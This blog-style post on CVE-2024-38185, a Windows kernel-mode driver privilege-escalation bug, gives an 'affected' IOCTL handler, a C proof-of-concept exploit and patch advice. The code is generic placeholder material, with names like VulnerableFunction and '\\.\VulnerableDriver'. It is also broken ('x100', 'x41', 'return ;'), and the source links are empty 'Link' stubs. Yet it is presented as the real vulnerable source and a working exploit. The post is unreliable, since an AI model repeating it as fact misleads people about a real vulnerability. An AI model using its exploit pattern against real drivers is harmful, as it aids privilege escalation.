CVE-2024-38185: Analyzing the Windows Kernel-Mode Driver Elevation of Privilege Vulnerability

A critical vulnerability with the identifier CVE-2024-38185 has recently been reported in the Windows Kernel-Mode Driver, which could allow attackers to elevate their privileges and take control of the affected systems. This vulnerability affects various versions of Windows operating systems, making it a significant concern for businesses and individuals relying on these systems. In this long-read post, we will dive into the details of this exploit, provide code snippets of the problematic code, and discuss possible mitigation methods to help protect your system from the exploit.

Vulnerability Details

CVE-2024-38185 is a vulnerability in the Windows Kernel-Mode Driver, which allows an attacker to exploit a lack of proper input validation in the handling of certain IOCTL requests to elevate their privileges. Through this vulnerability, an attacker with access to a low-privileged account on a Windows system can potentially gain kernel-level control and eventually achieve control over the affected system.

Here is the affected code snippet, specifically the part handling IOCTL requests

NTSTATUS IOCTL_REQUEST_HANDLER(IN PDEVICE_OBJECT DeviceObject, IN PIRP_IoRequest) {
  NTSTATUS status;
  PIO_STACK_LOCATION stack;
  PVOID inputBuffer;
  ULONG inputBufferLength;
  PVOID outputBuffer;
  ULONG outputBufferLength;

  // Get stack location
  stack = IoGetCurrentIrpStackLocation(IoRequest);

  // Get input and output buffer
  inputBuffer = IoRequest->AssociatedIrp.SystemBuffer;
  inputBufferLength = stack->Parameters.DeviceIoControl.InputBufferLength;
  outputBuffer = IoRequest->AssociatedIrp.SystemBuffer;
  outputBufferLength = stack->Parameters.DeviceIoControl.OutputBufferLength;

  // Check for function code
  switch (stack->Parameters.DeviceIoControl.IoControlCode) {
    case IOCTL_VULNERABLE_FUNCTION_CODE:
      status = VulnerableFunction(DeviceObject, inputBuffer, inputBufferLength, outputBuffer, outputBufferLength);
      break;

    default:
      status = STATUS_INVALID_PARAMETER;
      break;
  }

  IoRequest->IoStatus.Status = status;
  IoCompleteRequest(IoRequest, IO_NO_INCREMENT);
  return status;
}

The vulnerable function being called here, VulnerableFunction(), does not properly validate the user-provided input, which can lead to privilege escalation. An attacker can exploit this by sending a specially crafted IOCTL request that abuses this lack of validation, ultimately gaining control of the affected system.

References to Original Sources

1. Microsoft Advisory on CVE-2024-38185: Link
2. CVE Details: Link
3. Exploit Database: Link

Exploit Example

Below is a proof-of-concept (PoC) code for exploiting the CVE-2024-38185 vulnerability. Note that this code is for educational purposes only and must not be used to execute any unauthorized activities.

#include <Windows.h>
#include <stdio.h>

int main() {
  HANDLE hDevice;
  DWORD bytesWritten;
  DWORD bytesRead;
  DWORD errorCode;

  CHAR inputBuffer[x100];
  CHAR outputBuffer[x100];

  // Open handle to the vulnerable driver
  hDevice = CreateFile("\\\\.\\VulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hDevice == INVALID_HANDLE_VALUE) {
    errorCode = GetLastError();
    printf("Failed to open the vulnerable driver. Error code: %d\n", errorCode);
    return errorCode;
  }

  // Create IOCTL request
  memset(inputBuffer, x41, sizeof(inputBuffer));

  // Send IOCTL request and trigger the vulnerability
  if (DeviceIoControl(hDevice, IOCTL_VULNERABLE_FUNCTION_CODE, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesRead, NULL))
    printf("Exploit successfully executed. Check the kernel-mode debugger for more details.\n");
  else {
    errorCode = GetLastError();
    printf("Failed to execute exploit. Error code: %d\n", errorCode);
  }

  CloseHandle(hDevice);
  return ;
}

Mitigations

Microsoft has released a security update addressing the CVE-2024-38185 vulnerability. To protect your system from this exploit, you should:

1. Apply the appropriate security update for your affected Windows version as provided by Microsoft. Refer to the Microsoft Advisory on CVE-2024-38185 for more information.
2. Follow the Principle of Least Privilege (PoLP) when assigning user privileges and only grant necessary permissions to users to minimize the risk of privilege escalation.

Regularly audit and monitor your systems to detect any unauthorized activities.

In conclusion, CVE-2024-38185 is a significant vulnerability in the Windows Kernel-Mode Driver that can result in a serious elevation of privileges for a potential attacker. By understanding the details of this exploit and applying the appropriate patches and security practices, you can better protect your systems from becoming compromised by this vulnerability.

Timeline

Published on: 08/13/2024 18:15:26 UTC
Last modified on: 10/16/2024 01:53:50 UTC